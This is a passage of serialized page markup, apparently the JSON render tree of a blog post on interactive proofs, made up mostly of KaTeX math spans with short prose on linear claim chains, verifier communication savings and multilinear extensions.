tag":201,"props":112014,"children":112016},{"className":112015},[5534,23137],[112017,112046],{"type":25,"tag":201,"props":112018,"children":112020},{"className":112019},[5539],[112021,112041],{"type":25,"tag":201,"props":112022,"children":112024},{"className":112023,"style":94660},[5544],[112025],{"type":25,"tag":201,"props":112026,"children":112027},{"style":94664},[112028,112032],{"type":25,"tag":201,"props":112029,"children":112031},{"className":112030,"style":5554},[5553],[],{"type":25,"tag":201,"props":112033,"children":112035},{"className":112034},[5559,5560,5561,5562],[112036],{"type":25,"tag":201,"props":112037,"children":112039},{"className":112038},[5513,23083,5562],[112040],{"type":31,"value":3641},{"type":25,"tag":201,"props":112042,"children":112044},{"className":112043},[23240],[112045],{"type":31,"value":23243},{"type":25,"tag":201,"props":112047,"children":112049},{"className":112048},[5539],[112050],{"type":25,"tag":201,"props":112051,"children":112053},{"className":112052,"style":94214},[5544],[112054],{"type":25,"tag":201,"props":112055,"children":112056},{},[],{"type":25,"tag":201,"props":112058,"children":112060},{"className":112059},[23212],[112061],{"type":31,"value":298},{"type":25,"tag":201,"props":112063,"children":112065},{"className":112064},[5513],[112066],{"type":31,"value":429},{"type":25,"tag":201,"props":112068,"children":112070},{"className":112069},[23234],[112071],{"type":31,"value":3073},{"type":31,"value":112073},", and the verifier recovers ",{"type":25,"tag":115,"props":112075,"children":112077},{"className":112076},[5485,5486],[112078],{"type":25,"tag":201,"props":112079,"children":112081},{"className":112080},[5491],[112082],{"type":25,"tag":201,"props":112083,"children":112085},{"className":112084,"ariaHidden":5497},[5496],[112086],{"type":25,"tag":201,"props":112087,"children":112089},{"className":112088},[5502],[112090,112094],{"type":25,"tag":201,"props":112091,"children":112093},{"className":112092,"style":94046},[5507],[],{"type":25,"tag":201,"props":112095,"children":112097},{"className":112096},[5513,23083],[112098],{"type":31,"value":4729},{"type":31,"value":112100},". This saves 50% on communication costs.",{"type":25,"tag":34,"props":112102,"children":112103},{},[112104],{"type":31,"value":112105},"The next claim in the chain is",{"type":25,"tag":34,"props":112107,"children":112108},{},[112109],{"type":25,"tag":115,"props":112110,"children":112112},{"className":112111},[5485,5486],[112113],{"type":25,"tag":201,"props":112114,"children":112116},{"className":112115},[5491],[112117],{"type":25,"tag":201,"props":112118,"children":112120},{"className":112119,"ariaHidden":5497},[5496],[112121,112200,112345,112371,112398,112476,112502,112599,112635,112713,112749,112837,112929],{"type":25,"tag":201,"props":112122,"children":112124},{"className":112123},[5502],[112125,112130,112187,112191,112196],{"type":25,"tag":201,"props":112126,"children":112129},{"className":112127,"style":112128},[5507],"height:0.8333em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":112131,"children":112133},{"className":112132},[5513],[112134,112139],{"type":25,"tag":201,"props":112135,"children":112137},{"className":112136,"style":94365},[5513,23083],[112138],{"type":31,"value":94368},{"type":25,"tag":201,"props":112140,"children":112142},{"className":112141},[5529],[112143],{"type":25,"tag":201,"props":112144,"children":112146},{"className":112145},[5534,23137],[112147,112176],{"type":25,"tag":201,"props":112148,"children":112150},{"className":112149},[5539],[112151,112171],{"type":25,"tag":201,"props":112152,"children":112154},{"className":112153,"style":94660},[5544],[112155],{"type":25,"tag":201,"props":112156,"children":112157},{"style":111560},[112158,112162],{"type":25,"tag":201,"props":112159,"children":112161},{"className":112160,"style":5554},[5553],[],{"type":25,"tag":201,"props":112163,"children":112165},{"className":112164},[5559,5560,5561,5562],[112166],{"type":25,"tag":201,"props":112167,"children":112169},{"className":112168},[5513,23083,5562],[112170],{"type":31,"value":3641},{"type":25,"tag":201,"props":112172,"children":112174},{"className":112173},[23240],[112175],{"type":31,"value":23243},{"type":25,"tag":201,"props":112177,"children":112179},{"className":112178},[5539],[112180],{"type":25,"tag":201,"props":112181,"children":112183},{"className":112182,"style":94214},[5544],[112184],{"type":25,"tag":201,"props":112185,"children":112186},{},[],{"type":25,"tag":201,"props":112188,"children":112190},{"className":112189,"style":5691},[5593],[],{"type":25,"tag":201,"props":112192,"children":112194},{"className":112193},[5696],[112195],{"type":31,"value":1383},{"type":25,"tag":201,"props":112197,"children":112199},{"className":112198,"style":5691},[5593],[],{"type":25,"tag":201,"props":112201,"children":112203},{"className":112202},[5502],[112204,112208,112265,112270,112327,112332,112336,112341],{"type":25,"tag":201,"props":112205,"children":112207},{"className":112206,"style":5614},[5507],[],{"type":25,"tag":201,"props":112209,"children":112211},{"className":112210},[5513],[112212,112217],{"type":25,"tag":201,"props":112213,"children":112215},{"className":112214,"style":94617},[5513,23083],[112216],{"type":31,"value":110382},{"type":25,"tag":201,"props":112218,"children":112220},{"className":112219},[5529],[112221],{"type":25,"tag":201,"props":112222,"children":112224},{"className":112223},[5534,23137],[112225,112254],{"type":25,"tag":201,"props":112226,"children":112228},{"className":112227},[5539],[112229,112249],{"type":25,"tag":201,"props":112230,"children":112232},{"className":112231,"style":94660},[5544],[112233],{"type":25,"tag":201,"props":112234,"children":112235},{"style":94664},[112236,112240],{"type":25,"tag":201,"props":112237,"children":112239},{"className":112238,"style":5554},[5553],[],{"type":25,"tag":201,"props":112241,"children":112243},{"className":112242},[5559,5560,5561,5562],[112244],{"type":25,"tag":201,"props":112245,"children":112247},{"className":112246},[5513,23083,5562],[112248],{"type":31,"value":3641},{"type":25,"tag":201,"props":112250,"children":112252},{"className":112251},[23240],[112253],{"type":31,"value":23243},{"type":25,"tag":201,"props":112255,"children":112257},{"className":112256},[5539],[112258],{"type":25,"tag":201,"props":112259,"children":112261},{"className":112260,"style":94214},[5544],[112262],{"type":25,"tag":201,"props":112263,"children":112264},{},[],{"type":25,"tag":201,"props":112266,"children":112268},{"className":112267},[23212],[112269],{"type":31,"value":298},{"type":25,"tag":201,"props":112271,"children":112273},{"className":112272},[5513],[112274,112279],{"type":25,"tag":201,"props":112275,"children":112277},{"className":112276,"style":94131},[5513,23083],[112278],{"type":31,"value":94950},{"type":25,"tag":201,"props":112280,"children":112282},{"className":112281},[5529],[112283],{"type":25,"tag":201,"props":112284,"children":112286},{"className":112285},[5534,23137],[112287,112316],{"type":25,"tag":201,"props":112288,"children":112290},{"className":112289},[5539],[112291,112311],{"type":25,"tag":201,"props":112292,"children":112294},{"className":112293,"style":94660},[5544],[112295],{"type":25,"tag":201,"props":112296,"children":112297},{"style":111130},[112298,112302],{"type":25,"tag":201,"props":112299,"children":112301},{"className":112300,"style":5554},[5553],[],{"type":25,"tag":201,"props":112303,"children":112305},{"className":112304},[5559,5560,5561,5562],[112306],{"type":25,"tag":201,"props":112307,"children":112309},{"className":112308},[5513,23083,5562],[112310],{"type":31,"value":3641},{"type":25,"tag":201,"props":112312,"children":112314},{"className":112313},[23240],[112315],{"type":31,"value":23243},{"type":25,"tag":201,"props":112317,"children":112319},{"className":112318},[5539],[112320],{"type":25,"tag":201,"props":112321,"children":112323},{"className":112322,"style":94214},[5544],[112324],{"type":25,"tag":201,"props":112325,"children":112326},{},[],{"type":25,"tag":201,"props":112328,"children":112330},{"className":112329},[23234],[112331],{"type":31,"value":3073},{"type":25,"tag":201,"props":112333,"children":112335},{"className":112334,"style":5691},[5593],[],{"type":25,"tag":201,"props":112337,"children":112339},{"className":112338},[5696],[112340],{"type":31,"value":1383},{"type":25,"tag":201,"props":112342,"children":112344},{"className":112343,"style":5691},[5593],[],{"type":25,"tag":201,"props":112346,"children":112348},{"className":112347},[5502],[112349,112353,112358,112362,112367],{"type":25,"tag":201,"props":112350,"children":112352},{"className":112351,"style":111286},[5507],[],{"type":25,"tag":201,"props":112354,"children":112356},{"className":112355},[5513,23083],[112357],{"type":31,"value":71},{"type":25,"tag":201,"props":112359,"children":112361},{"className":112360,"style":5594},[5593],[],{"type":25,"tag":201,"props":112363,"children":112365},{"className":112364},[5599],[112366],{"type":31,"value":5886},{"type":25,"tag":201,"props":112368,"children":112370},{"className":112369,"style":5594},[5593],[],{"type":25,"tag":201,"props":112372,"children":112374},{"className":112373},[5502],[112375,112379,112384,112388,112394],{"type":25,"tag":201,"props":112376,"children":112378},{"className":112377,"style":94046},[5507],[],{"type":25,"tag":201,"props":112380,"children":112382},{"className":112381},[5513,23083],[112383],{"type":31,"value":4729},{"type":25,"tag":201,"props":112385,"children":112387},{"className":112386,"style":5594},[5593],[],{"type":25,"tag":201,"props":112389,"children":112391},{"className":112390},[5599],[112392],{"type":31,"value":112393},"⋅",{"type":25,"tag":201,"props":112395,"children":112397},{"className":112396,"style":5594},[5593],[],{"type":25,"tag":201,"props":112399,"children":112401},{"className":112400},[5502],[112402,112406,112463,112467,112472],{"type":25,"tag":201,"props":112403,"children":112405},{"className":112404,"style":111101},[5507],[],{"type":25,"tag":201,"props":112407,"children":112409},{"className":112408},[5513],[112410,112415],{"type":25,"tag":201,"props":112411,"children":112413},{"className":112412,"style":94131},[5513,23083],[112414],{"type":31,"value":94950},{"type":25,"tag":201,"props":112416,"children":112418},{"className":112417},[5529],[112419],{"type":25,"tag":201,"props":112420,"children":112422},{"className":112421},[5534,23137],[112423,112452],{"type":25,"tag":201,"props":112424,"children":112426},{"className":112425},[5539],[112427,112447],{"type":25,"tag":201,"props":112428,"children":112430},{"className":112429,"style":94660},[5544],[112431],{"type":25,"tag":201,"props":112432,"children":112433},{"style":111130},[112434,112438],{"type":25,"tag":201,"props":112435,"children":112437},{"className":112436,"style":5554},[5553],[],{"type":25,"tag":201,"props":112439,"children":112441},{"className":112440},[5559,5560,5561,5562],[112442],{"type":25,"tag":201,"props":112443,"children":112445},{"className":112444},[5513,23083,5562],[112446],{"type":31,"value":3641},{"type":25,"tag":201,"props":112448,"children":112450},{"className":112449},[23240],[112451],{"type":31,"value":23243},{"type":25,"tag":201,"props":112453,"children":112455},{"className":112454},[5539],[112456],{"type":25,"tag":201,"props":112457,"children":112459},{"className":112458,"style":94214},[5544],[112460],{"type":25,"tag":201,"props":112461,"children":112462},{},[],{"type":25,"tag":201,"props":112464,"children":112466},{"className":112465,"style":5691},[5593],[],{"type":25,"tag":201,"props":112468,"children":112470},{"className":112469},[5696],[112471],{"type":31,"value":1383},{"type":25,"tag":201,"props":112473,"children":112475},{"className":112474,"style":5691},[5593],[],{"type":25,"tag":201,"props":112477,"children":112479},{"className":112478},[5502],[112480,112484,112489,112493,112498],{"type":25,"tag":201,"props":112481,"children":112483},{"className":112482,"style":111286},[5507],[],{"type":25,"tag":201,"props":112485,"children":112487},{"className":112486},[5513,23083],[112488],{"type":31,"value":71},{"type":25,"tag":201,"props":112490,"children":112492},{"className":112491,"style":5594},[5593],[],{"type":25,"tag":201,"props":112494,"children":112496},{"className":112495},[5599],[112497],{"type":31,"value":5886},{"type":25,"tag":201,"props":112499,"children":112501},{"className":112500,"style":5594},[5593],[],{"type":25,"tag":201,"props":112503,"children":112505},{"className":112504},[5502],[112506,112510,112515,112586,112590,112595],{"type":25,"tag":201,"props":112507,"children":112509},{"className":112508,"style":5614},[5507],[],{"type":25,"tag":201,"props":112511,"children":112513},{"className":112512},[23212],[112514],{"type":31,"value":298},{"type":25,"tag":201,"props":112516,"children":112518},{"className":112517},[5513],[112519,112524],{"type":25,"tag":201,"props":112520,"children":112522},{"className":112521,"style":94365},[5513,23083],[112523],{"type":31,"value":94368},{"type":25,"tag":201,"props":112525,"children":112527},{"className":112526},[5529],[112528],{"type":25,"tag":201,"props":112529,"children":112531},{"className":112530},[5534,23137],[112532,112575],{"type":25,"tag":201,"props":112533,"children":112535},{"className":112534},[5539],[112536,112570],{"type":25,"tag":201,"props":112537,"children":112539},{"className":112538,"style":94660},[5544],[112540],{"type":25,"tag":201,"props":112541,"children":112542},{"style":111560},[112543,112547],{"type":25,"tag":201,"props":112544,"children":112546},{"className":112545,"style":5554},[5553],[],{"type":25,"tag":201,"props":112548,"children":112550},{"className":112549},[5559,5560,5561,5562],[112551],{"type":25,"tag":201,"props":112552,"children":112554},{"className":112553},[5513,5562],[112555,112560,112565],{"type":25,"tag":201,"props":112556,"children":112558},{"className":112557},[5513,23083,5562],[112559],{"type":31,"value":3641},{"type":25,"tag":201,"props":112561,"children":112563},{"className":112562},[5599,5562],[112564],{"type":31,"value":5573},{"type":25,"tag":201,"props":112566,"children":112568},{"className":112567},[5513,5562],[112569],{"type":31,"value":5516},{"type":25,"tag":201,"props":112571,"children":112573},{"className":112572},[23240],[112574],{"type":31,"value":23243},{"type":25,"tag":201,"props":112576,"children":112578},{"className":112577},[5539],[112579],{"type":25,"tag":201,"props":112580,"children":112582},{"className":112581,"style":111601},[5544],[112583],{"type":25,"tag":201,"props":112584,"children":112585},{},[],{"type":25,"tag":201,"props":112587,"children":112589},{"className":112588,"style":5594},[5593],[],{"type":25,"tag":201,"props":112591,"children":112593},{"className":112592},[5599],[112594],{"type":31,"value":5573},{"type":25,"tag":201,"props":112596,"children":112598},{"className":112597,"style":5594},[5593],[],{"type":25,"tag":201,"props":112600,"children":112602},{"className":112601},[5502],[112603,112607,112612,112617,112622,112626,112631],{"type":25,"tag":201,"props":112604,"children":112606},{"className":112605,"style":5614},[5507],[],{"type":25,"tag":201,"props":112608,"children":112610},{"className":112609},[5513],[112611],{"type":31,"value":4629},{"type":25,"tag":201,"props":112613,"children":112615},{"className":112614},[5513,23083],[112616],{"type":31,"value":71},{"type":25,"tag":201,"props":112618,"children":112620},{"className":112619},[23234],[112621],{"type":31,"value":3073},{"type":25,"tag":201,"props":112623,"children":112625},{"className":112624,"style":5594},[5593],[],{"type":25,"tag":201,"props":112627,"children":112629},{"className":112628},[5599],[112630],{"type":31,"value":112393},{"type":25,"tag":201,"props":112632,"children":112634},{"className":112633,"style":5594},[5593],[],{"type":25,"tag":201,"props":112636,"children":112638},{"className":112637},[5502],[112639,112643,112700,112704,112709],{"type":25,"tag":201,"props":112640,"children":112642},{"className":112641,"style":111101},[5507],[],{"type":25,"tag":201,"props":112644,"children":112646},{"className":112645},[5513],[112647,112652],{"type":25,"tag":201,"props":112648,"children":112650},{"className":112649,"style":94131},[5513,23083],[112651],{"type":31,"value":94950},{"type":25,"tag":201,"props":112653,"children":112655},{"className":112654},[5529],[112656],{"type":25,"tag":201,"props":112657,"children":112659},{"className":112658},[5534,23137],[112660,112689],{"type":25,"tag":201,"props":112661,"children":112663},{"className":112662},[5539],[112664,112684],{"type":25,"tag":201,"props":112665,"children":112667},{"className":112666,"style":94660},[5544],[112668],{"type":25,"tag":201,"props":112669,"children":112670},{"style":111130},[112671,112675],{"type":25,"tag":201,"props":112672,"children":112674},{"className":112673,"style":5554},[5553],[],{"type":25,"tag":201,"props":112676,"children":112678},{"className":112677},[5559,5560,5561,5562],[112679],{"type":25,"tag":201,"props":112680,"children":112682},{"className":112681},[5513,23083,5562],[112683],{"type":31,"value":3641},{"type":25,"tag":201,"props":112685,"children":112687},{"className":112686},[23240],[112688],{"type":31,"value":23243},{"type":25,"tag":201,"props":112690,"children":112692},{"className":112691},[5539],[112693],{"type":25,"tag":201,"props":112694,"children":112696},{"className":112695,"style":94214},[5544],[112697],{"type":25,"tag":201,"props":112698,"children":112699},{},[],{"type":25,"tag":201,"props":112701,"children":112703},{"className":112702,"style":5691},[5593],[],{"type":25,"tag":201,"props":112705,"children":112707},{"className":112706},[5696],[112708],{"type":31,"value":1383},{"type":25,"tag":201,"props":112710,"children":112712},{"className":112711,"style":5691},[5593],[],{"type":25,"tag":201,"props":112714,"children":112716},{"className":112715},[5502],[112717,112721,112726,112731,112736,112740,112745],{"type":25,"tag":201,"props":112718,"children":112720},{"className":112719,"style":5614},[5507],[],{"type":25,"tag":201,"props":112722,"children":112724},{"className":112723},[5513,23083],[112725],{"type":31,"value":71},{"type":25,"tag":201,"props":112727,"children":112729},{"className":112728},[23212],[112730],{"type":31,"value":298},{"type":25,"tag":201,"props":112732,"children":112734},{"className":112733},[5513],[112735],{"type":31,"value":5516},{"type":25,"tag":201,"props":112737,"children":112739},{"className":112738,"style":5594},[5593],[],{"type":25,"tag":201,"props":112741,"children":112743},{"className":112742},[5599],[112744],{"type":31,"value":5573},{"type":25,"tag":201,"props":112746,"children":112748},{"className":112747,"style":5594},[5593],[],{"type":25,"tag":201,"props":112750,"children":112752},{"className":112751},[5502],[112753,112757,112762,112819,112824,112828,112833],{"type":25,"tag":201,"props":112754,"children":112756},{"className":112755,"style":5614},[5507],[],{"type":25,"tag":201,"props":112758,"children":112760},{"className":112759},[5513],[112761],{"type":31,"value":4629},{"type":25,"tag":201,"props":112763,"children":112765},{"className":112764},[5513],[112766,112771],{"type":25,"tag":201,"props":112767,"children":112769},{"className":112768,"style":94131},[5513,23083],[112770],{"type":31,"value":94950},{"type":25,"tag":201,"props":112772,"children":112774},{"className":112773},[5529],[112775],{"type":25,"tag":201,"props":112776,"children":112778},{"className":112777},[5534,23137],[112779,112808],{"type":25,"tag":201,"props":112780,"children":112782},{"className":112781},[5539],[112783,112803],{"type":25,"tag":201,"props":112784,"children":112786},{"className":112785,"style":94660},[5544],[112787],{"type":25,"tag":201,"props":112788,"children":112789},{"style":111130},[112790,112794],{"type":25,"tag":201,"props":112791,"children":112793},{"className":112792,"style":5554},[5553],[],{"type":25,"tag":201,"props":112795,"children":112797},{"className":112796},[5559,5560,5561,5562],[112798],{"type":25,"tag":201,"props":112799,"children":112801},{"className":112800},[5513,23083,5562],[112802],{"type":31,"value":3641},{"type":25,"tag":201,"props":112804,"children":112806},{"className":112805},[23240],[112807],{"type":31,"value":23243},{"type":25,"tag":201,"props":112809,"children":112811},{"className":112810},[5539],[112812],{"type":25,"tag":201,"props":112813,"children":112815},{"className":112814,"style":94214},[5544],[112816],{"type":25,"tag":201,"props":112817,"children":112818},{},[],{"type":25,"tag":201,"props":112820,"children":112822},{"className":112821},[23234],[112823],{"type":31,"value":3073},{"type":25,"tag":201,"props":112825,"children":112827},{"className":112826,"style":5594},[5593],[],{"type":25,"tag":201,"props":112829,"children":112831},{"className":112830},[5599],[112832],{"type":31,"value":5886},{"type":25,"tag":201,"props":112834,"children":112836},{"className":112835,"style":5594},[5593],[],{"type":25,"tag":201,"props":112838,"children":112840},{"className":112839},[5502],[112841,112845,112916,112920,112925],{"type":25,"tag":201,"props":112842,"children":112844},{"className":112843,"style":111531},[5507],[],{"type":25,"tag":201,"props":112846,"children":112848},{"className":112847},[5513],[112849,112854],{"type":25,"tag":201,"props":112850,"children":112852},{"className":112851,"style":94365},[5513,23083],[112853],{"type":31,"value":94368},{"type":25,"tag":201,"props":112855,"children":112857},{"className":112856},[5529],[112858],{"type":25,"tag":201,"props":112859,"children":112861},{"className":112860},[5534,23137],[112862,112905],{"type":25,"tag":201,"props":112863,"children":112865},{"className":112864},[5539],[112866,112900],{"type":25,"tag":201,"props":112867,"children":112869},{"className":112868,"style":94660},[5544],[112870],{"type":25,"tag":201,"props":112871,"children":112872},{"style":111560},[112873,112877],{"type":25,"tag":201,"props":112874,"children":112876},{"className":112875,"style":5554},[5553],[],{"type":25,"tag":201,"props":112878,"children":112880},{"className":112879},[5559,5560,5561,5562],[112881],{"type":25,"tag":201,"props":112882,"children":112884},{"className":112883},[5513,5562],[112885,112890,112895],{"type":25,"tag":201,"props":112886,"children":112888},{"className":112887},[5513,23083,5562],[112889],{"type":31,"value":3641},{"type":25,"tag":201,"props":112891,"children":112893},{"className":112892},[5599,5562],[112894],{"type":31,"value":5573},{"type":25,"tag":201,"props":112896,"children":112898},{"className":112897},[5513,5562],[112899],{"type":31,"value":5516},{"type":25,"tag":201,"props":112901,"children":112903},{"className":112902},[23240],[112904],{"type":31,"value":23243},{"type":25,"tag":201,"props":112906,"children":112908},{"className":112907},[5539],[112909],{"type":25,"tag":201,"props":112910,"children":112912},{"className":112911,"style":111601},[5544],[112913],{"type":25,"tag":201,"props":112914,"children":112915},{},[],{"type":25,"tag":201,"props":112917,"children":112919},{"className":112918,"style":5594},[5593],[],{"type":25,"tag":201,"props":112921,"children":112923},{"className":112922},[5599],[112924],{"type":31,"value":112393},{"type":25,"tag":201,"props":112926,"children":112928},{"className":112927,"style":5594},[5593],[],{"type":25,"tag":201,"props":112930,"children":112932},{"className":112931},[5502],[112933,112937],{"type":25,"tag":201,"props":112934,"children":112936},{"className":112935,"style":111101},[5507],[],{"type":25,"tag":201,"props":112938,"children":112940},{"className":112939},[5513],[112941,112946],{"type":25,"tag":201,"props":112942,"children":112944},{"className":112943,"style":94131},[5513,23083],[112945],{"type":31,"value":94950},{"type":25,"tag":201,"props":112947,"children":112949},{"className":112948},[5529],[112950],{"type":25,"tag":201,"props":112951,"children":112953},{"className":112952},[5534,23137],[112954,112983],{"type":25,"tag":201,"props":112955,"children":112957},{"className":112956},[5539],[112958,112978],{"type":25,"tag":201,"props":112959,"children":112961},{"className":112960,"style":94660},[5544],[112962],{"type":25,"tag":201,"props":112963,"children":112964},{"style":111130},[112965,112969],{"type":25,"tag":201,"props":112966,"children":112968},{"className":112967,"style":5554},[5553],[],{"type":25,"tag":201,"props":112970,"children":112972},{"className":112971},[5559,5560,5561,5562],[112973],{"type":25,"tag":201,"props":112974,"children":112976},{"className":112975},[5513,23083,5562],[112977],{"type":31,"value":3641},{"type":25,"tag":201,"props":112979,"children":112981},{"className":112980},[23240],[112982],{"type":31,"value":23243},{"type":25,"tag":201,"props":112984,"children":112986},{"className":112985},[5539],[112987],{"type":25,"tag":201,"props":112988,"children":112990},{"className":112989,"style":94214},[5544],[112991],{"type":25,"tag":201,"props":112992,"children":112993},{},[],{"type":25,"tag":34,"props":112995,"children":112996},{},[112997,112998,113094,113096,113121,113123,113148],{"type":31,"value":47212},{"type":25,"tag":1252,"props":112999,"children":113000},{},[113001,113003],{"type":31,"value":113002},"linear in ",{"type":25,"tag":115,"props":113004,"children":113006},{"className":113005},[5485,5486],[113007],{"type":25,"tag":201,"props":113008,"children":113010},{"className":113009},[5491],[113011],{"type":25,"tag":201,"props":113012,"children":113014},{"className":113013,"ariaHidden":5497},[5496],[113015],{"type":25,"tag":201,"props":113016,"children":113018},{"className":113017},[5502],[113019,113023],{"type":25,"tag":201,"props":113020,"children":113022},{"className":113021,"style":111531},[5507],[],{"type":25,"tag":201,"props":113024,"children":113026},{"className":113025},[5513],[113027,113032],{"type":25,"tag":201,"props":113028,"children":113030},{"className":113029,"style":94365},[5513,23083],[113031],{"type":31,"value":94368},{"type":25,"tag":201,"props":113033,"children":113035},{"className":113034},[5529],[113036],{"type":25,"tag":201,"props":113037,"children":113039},{"className":113038},[5534,23137],[113040,113083],{"type":25,"tag":201,"props":113041,"children":113043},{"className":113042},[5539],[113044,113078],{"type":25,"tag":201,"props":113045,"children":113047},{"className":113046,"style":94660},[5544],[113048],{"type":25,"tag":201,"props":113049,"children":113050},{"style":111560},[113051,113055],{"type":25,"tag":201,"props":113052,"children":113054},{"className":113053,"style":5554},[5553],[],{"type":25,"tag":201,"props":113056,"children":113058},{"className":113057},[5559,5560,5561,5562],[113059],{"type":25,"tag":201,"props":113060,"children":113062},{"className":113061},[5513,5562],[113063,113068,113073],{"type":25,"tag":201,"props":113064,"children":113066},{"className":113065},[5513,23083,5562],[113067],{"type":31,"value":3641},{"type":25,"tag":201,"props":113069,"children":113071},{"className":113070},[5599,5562],[113072],{"type":31,"value":5573},{"type":25,"tag":201,"props":113074,"children":113076},{"className":113075},[5513,5562],[113077],{"type":31,"value":5516},{"type":25,"tag":201,"props":113079,"children":113081},{"className":113080},[23240],[113082],{"type":31,"value":23243},{"type":25,"tag":201,"props":113084,"children":113086},{"className":113085},[5539],[113087],{"type":25,"tag":201,"props":113088,"children":113090},{"className":113089,"style":111601},[5544],[113091],{"type":25,"tag":201,"props":113092,"children":113093},{},[],{"type":31,"value":113095},"! By induction, the final claim is linear in the original ",{"type":25,"tag":115,"props":113097,"children":113099},{"className":113098},[5485,5486],[113100],{"type":25,"tag":201,"props":113101,"children":113103},{"className":113102},[5491],[113104],{"type":25,"tag":201,"props":113105,"children":113107},{"className":113106,"ariaHidden":5497},[5496],[113108],{"type":25,"tag":201,"props":113109,"children":113111},{"className":113110},[5502],[113112,113116],{"type":25,"tag":201,"props":113113,"children":113115},{"className":113114,"style":23078},[5507],[],{"type":25,"tag":201,"props":113117,"children":113119},{"className":113118,"style":94365},[5513,23083],[113120],{"type":31,"value":94368},{"type":31,"value":113122},". If ",{"type":25,"tag":115,"props":113124,"children":113126},{"className":113125},[5485,5486],[113127],{"type":25,"tag":201,"props":113128,"children":113130},{"className":113129},[5491],[113131],{"type":25,"tag":201,"props":113132,"children":113134},{"className":113133,"ariaHidden":5497},[5496],[113135],{"type":25,"tag":201,"props":113136,"children":113138},{"className":113137},[5502],[113139,113143],{"type":25,"tag":201,"props":113140,"children":113142},{"className":113141,"style":23078},[5507],[],{"type":25,"tag":201,"props":113144,"children":113146},{"className":113145,"style":94365},[5513,23083],[113147],{"type":31,"value":94368},{"type":31,"value":113149}," isn't in the transcript, we can solve for it.",{"type":25,"tag":40,"props":113151,"children":113153},{"id":113152},"multilinear-extensions-mles",[113154],{"type":31,"value":113155},"Multilinear Extensions (MLEs)",{"type":25,"tag":34,"props":113157,"children":113158},{},[113159,113161,113246],{"type":31,"value":113160},"An MLE is just the polynomial view of a table over ",{"type":25,"tag":115,"props":113162,"children":113164},{"className":113163},[5485,5486],[113165],{"type":25,"tag":201,"props":113166,"children":113168},{"className":113167},[5491],[113169],{"type":25,"tag":201,"props":113170,"children":113172},{"className":113171,"ariaHidden":5497},[5496],[113173],{"type":25,"tag":201,"props":113174,"children":113176},{"className":113175},[5502],[113177,113181,113186,113191,113196,113200,113205],{"type":25,"tag":201,"props":113178,"children":113180},{"className":113179,"style":5614},[5507],[],{"type":25,"tag":201,"props":113182,"children":113184},{"className":113183},[23212],[113185],{"type":31,"value":77702},{"type":25,"tag":201,"props":113187,"children":113189},{"className":113188},[5513],[113190],{"type":31,"value":429},{"type":25,"tag":201,"props":113192,"children":113194},{"className":113193},[5625],[113195],{"type":31,"value":5628},{"type":25,"tag":201,"props":113197,"children":113199},{"className":113198,"style":5632},[5593],[],{"type":25,"tag":201,"props":113201,"children":113203},{"className":113202},[5513],[113204],{"type":31,"value":5516},{"type":25,"tag":201,"props":113206,"children":113208},{"className":113207},[23234],[113209,113214],{"type":25,"tag":201,"props":113210,"children":113212},{"className":113211},[23234],[113213],{"type":31,"value":3078},{"type":25,"tag":201,"props":113215,"children":113217},{"className":113216},[5529],[113218],{"type":25,"tag":201,"props":113219,"children":113221},{"className":113220},[5534],[113222],{"type":25,"tag":201,"props":113223,"children":113225},{"className":113224},[5539],[113226],{"type":25,"tag":201,"props":113227,"children":113229},{"className":113228,"style":109848},[5544],[113230],{"type":25,"tag":201,"props":113231,"children":113232},{"style":5548},[113233,113237],{"type":25,"tag":201,"props":113234,"children":113236},{"className":113235,"style":5554},[5553],[],{"type":25,"tag":201,"props":113238,"children":113240},{"className":113239},[5559,5560,5561,5562],[113241],{"type":25,"tag":201,"props":113242,"children":113244},{"className":113243},[5513,23083,5562],[113245],{"type":31,"value":57482},{"type":31,"value":113247},": it matches the table on Boolean points and extends it to field points.",{"type":25,"tag":34,"props":113249,"children":113250},{},[113251],{"type":31,"value":113252},"For this post, the only property you need is:",{"type":25,"tag":34,"props":113254,"children":113255},{},[113256],{"type":25,"tag":115,"props":113257,"children":113259},{"className":113258},[5485,5486],[113260],{"type":25,"tag":201,"props":113261,"children":113263},{"className":113262},[5491],[113264],{"type":25,"tag":201,"props":113265,"children":113267},{"className":113266,"ariaHidden":5497},[5496],[113268,113430,113702],{"type":25,"tag":201,"props":113269,"children":113271},{"className":113270},[5502],[113272,113277,113346,113351,113412,113417,113421,113426],{"type":25,"tag":201,"props":113273,"children":113276},{"className":113274,"style":113275},[5507],"height:1.1813em;vertical-align:-0.25em;",[],{"type":25,"tag":201,"props":113278,"children":113281},{"className":113279},[5513,113280],"accent",[113282],{"type":25,"tag":201,"props":113283,"children":113285},{"className":113284},[5534,23137],[113286,113334],{"type":25,"tag":201,"props":113287,"children":113289},{"className":113288},[5539],[113290,113329],{"type":25,"tag":201,"props":113291,"children":113294},{"className":113292,"style":113293},[5544],"height:0.9313em;",[113295,113309],{"type":25,"tag":201,"props":113296,"children":113298},{"style":113297},"top:-3em;",[113299,113304],{"type":25,"tag":201,"props":113300,"children":113303},{"className":113301,"style":113302},[5553],"height:3em;",[],{"type":25,"tag":201,"props":113305,"children":113307},{"className":113306,"style":96485},[5513,23083],[113308],{"type":31,"value":2020},{"type":25,"tag":201,"props":113310,"children":113312},{"style":113311},"top:-3.6134em;",[113313,113317],{"type":25,"tag":201,"props":113314,"children":113316},{"className":113315,"style":113302},[5553],[],{"type":25,"tag":201,"props":113318,"children":113322},{"className":113319,"style":113321},[113320],"accent-body","left:-0.0833em;",[113323],{"type":25,"tag":201,"props":113324,"children":113326},{"className":113325},[5513],[113327],{"type":31,"value":113328},"~",{"type":25,"tag":201,"props":113330,"children":113332},{"className":113331},[23240],[113333],{"type":31,"value":23243},{"type":25,"tag":201,"props":113335,"children":113337},{"className":113336},[5539],[113338],{"type":25,"tag":201,"props":113339,"children":113342},{"className":113340,"style":113341},[5544],"height:0.1944em;",[113343],{"type":25,"tag":201,"props":113344,"children":113345},{},[],{"type":25,"tag":201,"props":113347,"children":113349},{"className":113348},[23212],[113350],{"type":31,"value":298},{"type":25,"tag":201,"props":113352,"children":113354},{"className":113353},[5513,113280],[113355],{"type":25,"tag":201,"props":113356,"children":113358},{"className":113357},[5534],[113359],{"type":25,"tag":201,"props":113360,"children":113362},{"className":113361},[5539],[113363],{"type":25,"tag":201,"props":113364,"children":113367},{"className":113365,"style":113366},[5544],"height:0.714em;",[113368,113380],{"type":25,"tag":201,"props":113369,"children":113370},{"style":113297},[113371,113375],{"type":25,"tag":201,"props":113372,"children":113374},{"className":113373,"style":113302},[5553],[],{"type":25,"tag":201,"props":113376,"children":113378},{"className":113377,"style":94131},[5513,23083],[113379],{